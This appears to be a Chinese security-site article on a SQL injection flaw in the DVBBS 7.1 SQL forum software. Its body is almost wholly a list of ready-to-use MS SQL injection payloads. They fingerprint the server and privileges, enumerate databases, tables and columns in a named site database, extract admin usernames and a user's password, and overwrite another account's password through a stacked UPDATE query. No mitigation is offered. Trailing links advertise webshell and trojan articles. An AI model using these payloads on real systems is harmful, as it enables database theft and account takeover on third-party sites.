DVBBS7.1 SQL版 跨库漏洞

所属分类: 实用技巧 / 漏洞研究 阅读数: 1552
收藏 0 赞 0 分享
漏洞测试环境:DVBBS7.1 SQL 

受影响文件 
admin/admin.asp 
..... 

漏洞利用 

(select @@version)>0 获得Windows的版本号 
and user_name()='dbo' 判断当前系统的连接用户是不是sa 
(select user_name())>0 爆当前系统的连接用户 
(select db_name())>0 得到当前连接的数据库 
(select IS_MEMBER('db_owner')) --查询数据库当前用户权限 

(select count(*) from master.dbo.sysdatabases where name>1 and dbid=7) ---查询所有数据库名 
(select top 1 name from JxSoufun.dbo.sysobjects where xtype='U') --查询数据库表名 
(select top 1 name from JxSoufun.dbo.sysobjects where xtype='U' and name not in ('web_Admin')) --查询数据库所有表名 
(select count(*) from JxSoufun.dbo.sysobjects where xtype='U' and name='web_Admin' and uid>(str(id))) --查询表名ID 
(select top 1 name from JxSoufun.dbo.syscolumns where id=1125579048) --查询字段名 
(select top 1 name from JxSoufun.dbo.syscolumns where id=1125579048 and name not in('adminname')) --查询所有字段名 
(select count(*) from JxSoufun.dbo.web_Admin where AdminName>1) -查询用户 
(select count(*) from JxSoufun.dbo.web_Admin where Adminpwd>1 and username='bluefire') -查询用户bluefire密码 
;update JxSoufun.dbo.Agency_User set userpwd='965eb72c92a549dd' where username='mthfc';--  
更多精彩内容其他人还在看

系统安全:Win XP SP2 配置及故障解决技巧大揭露

系统安全:Win XP SP2 配置及故障解决技巧大揭露
收藏 0 赞 0 分享

并不神奇的Real影片木马

并不神奇的Real影片木马
收藏 0 赞 0 分享

新型网络攻击威胁大量网站

新型网络攻击威胁大量网站
收藏 0 赞 0 分享

浅析国内某网络游戏的安全现况

浅析国内某网络游戏的安全现况
收藏 0 赞 0 分享

fckeditor的漏洞详细篇

fckeditor的漏洞详细篇
收藏 0 赞 0 分享

Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范

Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范
收藏 0 赞 0 分享

webshell权限提升技巧

webshell权限提升技巧
收藏 0 赞 0 分享

db_owner权限得到webshell

db_owner权限得到webshell
收藏 0 赞 0 分享

sql注入建立虚拟目录

sql注入建立虚拟目录
收藏 0 赞 0 分享

利用图片做木马应用完全解析

利用图片做木马应用完全解析
收藏 0 赞 0 分享
查看更多